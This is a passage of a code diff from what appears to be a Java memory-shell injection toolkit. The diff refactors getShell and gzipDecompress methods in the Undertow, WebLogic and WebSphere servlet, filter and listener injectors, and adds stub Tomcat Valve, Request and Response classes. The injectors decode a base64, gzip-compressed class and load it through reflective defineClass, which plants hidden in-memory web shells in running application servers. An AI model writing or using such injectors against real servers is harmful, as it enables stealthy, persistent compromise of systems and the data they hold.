             Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
             defineClass.setAccessible(true);
             Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
-            obj = clazz.newInstance();
+            return clazz.newInstance();
         }
-        return obj;
     }
 
     public void inject(Object context, Object servlet) throws Exception {
@@ -118,7 +116,6 @@ public class UndertowServletInjector {
     public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
         ByteArrayOutputStream out = new ByteArrayOutputStream();
         GZIPInputStream gzipInputStream = null;
-
         try {
             gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
             byte[] buffer = new byte[4096];
@@ -126,16 +123,13 @@ public class UndertowServletInjector {
             while ((n = gzipInputStream.read(buffer)) > 0) {
                 out.write(buffer, 0, n);
             }
+            return out.toByteArray();
         } finally {
             if (gzipInputStream != null) {
-                try {
                 gzipInputStream.close();
-                } catch (IOException ignored) {
-                }
             }
             out.close();
         }
-        return out.toByteArray();
     }
 
     @SuppressWarnings("all")

memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/injector/WebLogicFilterInjector.java

@@ -135,21 +135,19 @@ public class WebLogicFilterInjector {
 
     @SuppressWarnings("all")
     private Object getShell(Object context) throws Exception {
-        Object obj;
         ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
         if (classLoader == null) {
             classLoader = context.getClass().getClassLoader();
         }
         try {
-            obj = classLoader.loadClass(getClassName()).newInstance();
+            return classLoader.loadClass(getClassName()).newInstance();
         } catch (Exception e) {
             byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
             Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
             defineClass.setAccessible(true);
             Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
-            obj = clazz.newInstance();
+            return clazz.newInstance();
         }
-        return obj;
     }
 
     @SuppressWarnings("unchecked")
@@ -195,7 +193,6 @@ public class WebLogicFilterInjector {
     public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
         ByteArrayOutputStream out = new ByteArrayOutputStream();
         GZIPInputStream gzipInputStream = null;
-
         try {
             gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
             byte[] buffer = new byte[4096];
@@ -203,16 +200,13 @@ public class WebLogicFilterInjector {
             while ((n = gzipInputStream.read(buffer)) > 0) {
                 out.write(buffer, 0, n);
             }
+            return out.toByteArray();
         } finally {
             if (gzipInputStream != null) {
-                try {
                 gzipInputStream.close();
-                } catch (IOException ignored) {
-                }
             }
             out.close();
         }
-        return out.toByteArray();
     }
 
     @SuppressWarnings("all")

memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/injector/WebLogicListenerInjector.java

@@ -134,18 +134,16 @@ public class WebLogicListenerInjector {
 
     @SuppressWarnings("all")
     private Object getShell(Object context) throws Exception {
-        Object obj;
         ClassLoader classLoader = context.getClass().getClassLoader();
         try {
-            obj = classLoader.loadClass(getClassName()).newInstance();
+            return classLoader.loadClass(getClassName()).newInstance();
         } catch (Exception e) {
             byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
             Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
             defineClass.setAccessible(true);
             Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
-            obj = clazz.newInstance();
+            return clazz.newInstance();
         }
-        return obj;
     }
 
     public void inject(Object context, Object listener) throws Exception {
@@ -184,7 +182,6 @@ public class WebLogicListenerInjector {
     public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
         ByteArrayOutputStream out = new ByteArrayOutputStream();
         GZIPInputStream gzipInputStream = null;
-
         try {
             gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
             byte[] buffer = new byte[4096];
@@ -192,16 +189,13 @@ public class WebLogicListenerInjector {
             while ((n = gzipInputStream.read(buffer)) > 0) {
                 out.write(buffer, 0, n);
             }
+            return out.toByteArray();
         } finally {
             if (gzipInputStream != null) {
-                try {
                 gzipInputStream.close();
-                } catch (IOException ignored) {
-                }
             }
             out.close();
         }
-        return out.toByteArray();
     }
 
     @SuppressWarnings("all")

memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/injector/WebLogicServletInjector.java

@@ -140,21 +140,19 @@ public class WebLogicServletInjector {
 
     @SuppressWarnings("all")
     private Object getShell(Object context) throws Exception {
-        Object obj;
         ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
         if (classLoader == null) {
             classLoader = context.getClass().getClassLoader();
         }
         try {
-            obj = classLoader.loadClass(getClassName()).newInstance();
+            return classLoader.loadClass(getClassName()).newInstance();
         } catch (Exception e) {
             byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
             Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
             defineClass.setAccessible(true);
             Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
-            obj = clazz.newInstance();
+            return clazz.newInstance();
         }
-        return obj;
     }
 
     /**
@@ -207,7 +205,6 @@ public class WebLogicServletInjector {
     public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
         ByteArrayOutputStream out = new ByteArrayOutputStream();
         GZIPInputStream gzipInputStream = null;
-
         try {
             gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
             byte[] buffer = new byte[4096];
@@ -215,16 +212,13 @@ public class WebLogicServletInjector {
             while ((n = gzipInputStream.read(buffer)) > 0) {
                 out.write(buffer, 0, n);
             }
+            return out.toByteArray();
         } finally {
             if (gzipInputStream != null) {
-                try {
                 gzipInputStream.close();
-                } catch (IOException ignored) {
-                }
             }
             out.close();
         }
-        return out.toByteArray();
     }
 
     public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {

memshell/src/main/java/com/reajason/javaweb/memshell/websphere/injector/WebSphereFilterInjector.java

@@ -77,21 +77,19 @@ public class WebSphereFilterInjector {
 
     @SuppressWarnings("all")
     private Object getShell(Object context) throws Exception {
-        Object obj;
         ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
         if (classLoader == null) {
             classLoader = context.getClass().getClassLoader();
         }
         try {
-            obj = classLoader.loadClass(getClassName()).newInstance();
+            return classLoader.loadClass(getClassName()).newInstance();
         } catch (Exception e) {
             byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
             Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
             defineClass.setAccessible(true);
             Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
-            obj = clazz.newInstance();
+            return clazz.newInstance();
         }
-        return obj;
     }
 
 
@@ -197,7 +195,6 @@ public class WebSphereFilterInjector {
     public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
         ByteArrayOutputStream out = new ByteArrayOutputStream();
         GZIPInputStream gzipInputStream = null;
-
         try {
             gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
             byte[] buffer = new byte[4096];
@@ -205,16 +202,13 @@ public class WebSphereFilterInjector {
             while ((n = gzipInputStream.read(buffer)) > 0) {
                 out.write(buffer, 0, n);
             }
+            return out.toByteArray();
         } finally {
             if (gzipInputStream != null) {
-                try {
                 gzipInputStream.close();
-                } catch (IOException ignored) {
-                }
             }
             out.close();
         }
-        return out.toByteArray();
     }
 
     private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {

memshell/src/main/java/com/reajason/javaweb/memshell/websphere/injector/WebSphereListenerInjector.java

@@ -66,21 +66,19 @@ public class WebSphereListenerInjector {
 
     @SuppressWarnings("all")
     private Object getShell(Object context) throws Exception {
-        Object obj;
         ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
         if (classLoader == null) {
             classLoader = context.getClass().getClassLoader();
         }
         try {
-            obj = classLoader.loadClass(getClassName()).newInstance();
+            return classLoader.loadClass(getClassName()).newInstance();
         } catch (Exception e) {
             byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
             Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
             defineClass.setAccessible(true);
             Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
-            obj = clazz.newInstance();
+            return clazz.newInstance();
         }
-        return obj;
     }
 
     @SuppressWarnings("unchecked")
@@ -113,7 +111,6 @@ public class WebSphereListenerInjector {
     public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
         ByteArrayOutputStream out = new ByteArrayOutputStream();
         GZIPInputStream gzipInputStream = null;
-
         try {
             gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
             byte[] buffer = new byte[4096];
@@ -121,16 +118,13 @@ public class WebSphereListenerInjector {
             while ((n = gzipInputStream.read(buffer)) > 0) {
                 out.write(buffer, 0, n);
             }
+            return out.toByteArray();
         } finally {
             if (gzipInputStream != null) {
-                try {
                 gzipInputStream.close();
-                } catch (IOException ignored) {
-                }
             }
             out.close();
         }
-        return out.toByteArray();
     }
 
     @SuppressWarnings("all")

memshell/src/main/java/com/reajason/javaweb/memshell/websphere/injector/WebSphereServletInjector.java

@@ -72,21 +72,19 @@ public class WebSphereServletInjector {
 
     @SuppressWarnings("all")
     private Object getShell(Object context) throws Exception {
-        Object obj;
         ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
         if (classLoader == null) {
             classLoader = context.getClass().getClassLoader();
         }
         try {
-            obj = classLoader.loadClass(getClassName()).newInstance();
+            return classLoader.loadClass(getClassName()).newInstance();
         } catch (Exception e) {
             byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
             Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
             defineClass.setAccessible(true);
             Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
-            obj = clazz.newInstance();
+            return clazz.newInstance();
         }
-        return obj;
     }
 
     public void inject(Object context, Object servlet) throws Exception {
@@ -117,7 +115,6 @@ public class WebSphereServletInjector {
     public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
         ByteArrayOutputStream out = new ByteArrayOutputStream();
         GZIPInputStream gzipInputStream = null;
-
         try {
             gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
             byte[] buffer = new byte[4096];
@@ -125,16 +122,13 @@ public class WebSphereServletInjector {
             while ((n = gzipInputStream.read(buffer)) > 0) {
                 out.write(buffer, 0, n);
             }
+            return out.toByteArray();
         } finally {
             if (gzipInputStream != null) {
-                try {
                 gzipInputStream.close();
-                } catch (IOException ignored) {
-                }
             }
             out.close();
         }
-        return out.toByteArray();
     }
 
     @SuppressWarnings("all")

memshell/src/main/java/org/apache/catalina/Valve.java

@@ -0,0 +1,25 @@
+package org.apache.catalina;
+
+import org.apache.catalina.connector.Request;
+import org.apache.catalina.connector.Response;
+
+import javax.servlet.ServletException;
+import java.io.IOException;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/27
+ */
+public interface Valve {
+
+    public Valve getNext();
+
+    public void setNext(Valve valve);
+
+    public void backgroundProcess();
+
+    public void invoke(Request request, Response response)
+            throws IOException, ServletException;
+
+    public boolean isAsyncSupported();
+}

memshell/src/main/java/org/apache/catalina/connector/Request.java

@@ -0,0 +1,345 @@
+package org.apache.catalina.connector;
+
+import javax.servlet.*;
+import javax.servlet.http.*;
+import java.io.BufferedReader;
+import java.io.IOException;
+import java.io.UnsupportedEncodingException;
+import java.security.Principal;
+import java.util.*;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/27
+ */
+public class Request implements HttpServletRequest {
+    @Override
+    public String getAuthType() {
+        return "";
+    }
+
+    @Override
+    public Cookie[] getCookies() {
+        return new Cookie[0];
+    }
+
+    @Override
+    public long getDateHeader(String name) {
+        return 0;
+    }
+
+    @Override
+    public String getHeader(String name) {
+        return "";
+    }
+
+    @Override
+    public Enumeration<String> getHeaders(String name) {
+        return null;
+    }
+
+    @Override
+    public Enumeration<String> getHeaderNames() {
+        return null;
+    }
+
+    @Override
+    public int getIntHeader(String name) {
+        return 0;
+    }
+
+    @Override
+    public String getMethod() {
+        return "";
+    }
+
+    @Override
+    public String getPathInfo() {
+        return "";
+    }
+
+    @Override
+    public String getPathTranslated() {
+        return "";
+    }
+
+    @Override
+    public String getContextPath() {
+        return "";
+    }
+
+    @Override
+    public String getQueryString() {
+        return "";
+    }
+
+    @Override
+    public String getRemoteUser() {
+        return "";
+    }
+
+    @Override
+    public boolean isUserInRole(String role) {
+        return false;
+    }
+
+    @Override
+    public Principal getUserPrincipal() {
+        return null;
+    }
+
+    @Override
+    public String getRequestedSessionId() {
+        return "";
+    }
+
+    @Override
+    public String getRequestURI() {
+        return "";
+    }
+
+    @Override
+    public StringBuffer getRequestURL() {
+        return null;
+    }
+
+    @Override
+    public String getServletPath() {
+        return "";
+    }
+
+    @Override
+    public HttpSession getSession(boolean create) {
+        return null;
+    }
+
+    @Override
+    public HttpSession getSession() {
+        return null;
+    }
+
+    @Override
+    public boolean isRequestedSessionIdValid() {
+        return false;
+    }
+
+    @Override
+    public boolean isRequestedSessionIdFromCookie() {
+        return false;
+    }
+
+    @Override
+    public boolean isRequestedSessionIdFromURL() {
+        return false;
+    }
+
+    @Override
+    public boolean isRequestedSessionIdFromUrl() {
+        return false;
+    }
+
+    @Override
+    public boolean authenticate(HttpServletResponse response) throws IOException, ServletException {
+        return false;
+    }
+
+    @Override
+    public void login(String username, String password) throws ServletException {
+
+    }
+
+    @Override
+    public void logout() throws ServletException {
+
+    }
+
+    @Override
+    public Collection<Part> getParts() throws IOException, ServletException {
+        return Collections.emptyList();
+    }
+
+    @Override
+    public Part getPart(String name) throws IOException, ServletException {
+        return null;
+    }
+
+    @Override
+    public Object getAttribute(String name) {
+        return null;
+    }
+
+    @Override
+    public Enumeration<String> getAttributeNames() {
+        return null;
+    }
+
+    @Override
+    public String getCharacterEncoding() {
+        return "";
+    }
+
+    @Override
+    public void setCharacterEncoding(String env) throws UnsupportedEncodingException {
+
+    }
+
+    @Override
+    public int getContentLength() {
+        return 0;
+    }
+
+    @Override
+    public String getContentType() {
+        return "";
+    }
+
+    @Override
+    public ServletInputStream getInputStream() throws IOException {
+        return null;
+    }
+
+    @Override
+    public String getParameter(String name) {
+        return "";
+    }
+
+    @Override
+    public Enumeration<String> getParameterNames() {
+        return null;
+    }
+
+    @Override
+    public String[] getParameterValues(String name) {
+        return new String[0];
+    }
+
+    @Override
+    public Map<String, String[]> getParameterMap() {
+        return Collections.emptyMap();
+    }
+
+    @Override
+    public String getProtocol() {
+        return "";
+    }
+
+    @Override
+    public String getScheme() {
+        return "";
+    }
+
+    @Override
+    public String getServerName() {
+        return "";
+    }
+
+    @Override
+    public int getServerPort() {
+        return 0;
+    }
+
+    @Override
+    public BufferedReader getReader() throws IOException {
+        return null;
+    }
+
+    @Override
+    public String getRemoteAddr() {
+        return "";
+    }
+
+    @Override
+    public String getRemoteHost() {
+        return "";
+    }
+
+    @Override
+    public void setAttribute(String name, Object o) {
+
+    }
+
+    @Override
+    public void removeAttribute(String name) {
+
+    }
+
+    @Override
+    public Locale getLocale() {
+        return null;
+    }
+
+    @Override
+    public Enumeration<Locale> getLocales() {
+        return null;
+    }
+
+    @Override
+    public boolean isSecure() {
+        return false;
+    }
+
+    @Override
+    public RequestDispatcher getRequestDispatcher(String path) {
+        return null;
+    }
+
+    @Override
+    public String getRealPath(String path) {
+        return "";
+    }
+
+    @Override
+    public int getRemotePort() {
+        return 0;
+    }
+
+    @Override
+    public String getLocalName() {
+        return "";
+    }
+
+    @Override
+    public String getLocalAddr() {
+        return "";
+    }
+
+    @Override
+    public int getLocalPort() {
+        return 0;
+    }
+
+    @Override
+    public ServletContext getServletContext() {
+        return null;
+    }
+
+    @Override
+    public AsyncContext startAsync() throws IllegalStateException {
+        return null;
+    }
+
+    @Override
+    public AsyncContext startAsync(ServletRequest servletRequest, ServletResponse servletResponse) throws IllegalStateException {
+        return null;
+    }
+
+    @Override
+    public boolean isAsyncStarted() {
+        return false;
+    }
+
+    @Override
+    public boolean isAsyncSupported() {
+        return false;
+    }
+
+    @Override
+    public AsyncContext getAsyncContext() {
+        return null;
+    }
+
+    @Override
+    public DispatcherType getDispatcherType() {
+        return null;
+    }
+}

memshell/src/main/java/org/apache/catalina/connector/Response.java

@@ -0,0 +1,196 @@
+package org.apache.catalina.connector;
+
+import javax.servlet.ServletOutputStream;
+import javax.servlet.http.Cookie;
+import javax.servlet.http.HttpServletResponse;
+import java.io.IOException;
+import java.io.PrintWriter;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.Locale;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/27
+ */
+public class Response implements HttpServletResponse {
+    @Override
+    public void addCookie(Cookie cookie) {
+
+    }
+
+    @Override
+    public boolean containsHeader(String name) {
+        return false;
+    }
+
+    @Override
+    public String encodeURL(String url) {
+        return "";
+    }
+
+    @Override
+    public String encodeRedirectURL(String url) {
+        return "";
+    }
+
+    @Override
+    public String encodeUrl(String url) {
+        return "";
+    }
+
+    @Override
+    public String encodeRedirectUrl(String url) {
+        return "";
+    }
+
+    @Override
+    public void sendError(int sc, String msg) throws IOException {
+
+    }
+
+    @Override
+    public void sendError(int sc) throws IOException {
+
+    }
+
+    @Override
+    public void sendRedirect(String location) throws IOException {
+
+    }
+
+    @Override
+    public void setDateHeader(String name, long date) {
+
+    }
+
+    @Override
+    public void addDateHeader(String name, long date) {
+
+    }
+
+    @Override
+    public void setHeader(String name, String value) {
+
+    }
+
+    @Override
+    public void addHeader(String name, String value) {
+
+    }
+
+    @Override
+    public void setIntHeader(String name, int value) {
+
+    }
+
+    @Override
+    public void addIntHeader(String name, int value) {
+
+    }
+
+    @Override
+    public void setStatus(int sc) {
+
+    }
+
+    @Override
+    public void setStatus(int sc, String sm) {
+
+    }
+
+    @Override
+    public int getStatus() {
+        return 0;
+    }
+
+    @Override
+    public String getHeader(String name) {
+        return "";
+    }
+
+    @Override
+    public Collection<String> getHeaders(String name) {
+        return Collections.emptyList();
+    }
+
+    @Override
+    public Collection<String> getHeaderNames() {
+        return Collections.emptyList();
+    }
+
+    @Override
+    public String getCharacterEncoding() {
+        return "";
+    }
+
+    @Override
+    public String getContentType() {
+        return "";
+    }
+
+    @Override
+    public ServletOutputStream getOutputStream() throws IOException {
+        return null;
+    }
+
+    @Override
+    public PrintWriter getWriter() throws IOException {
+        return null;
+    }
+
+    @Override
+    public void setCharacterEncoding(String charset) {
+
+    }
+
+    @Override
+    public void setContentLength(int len) {
+
+    }
+
+    @Override
+    public void setContentType(String type) {
+
+    }
+
+    @Override
+    public void setBufferSize(int size) {
+
+    }
+
+    @Override
+    public int getBufferSize() {
+        return 0;
+    }
+
+    @Override
+    public void flushBuffer() throws IOException {
+
+    }
+
+    @Override
+    public void resetBuffer() {
+
+    }
+
+    @Override
+    public boolean isCommitted() {
+        return false;
+    }
+
+    @Override
+    public void reset() {
+
+    }
+
+    @Override
+    public void setLocale(Locale loc) {
+
+    }
+
+    @Override
+    public Locale getLocale() {
+        return null;
+    }
+}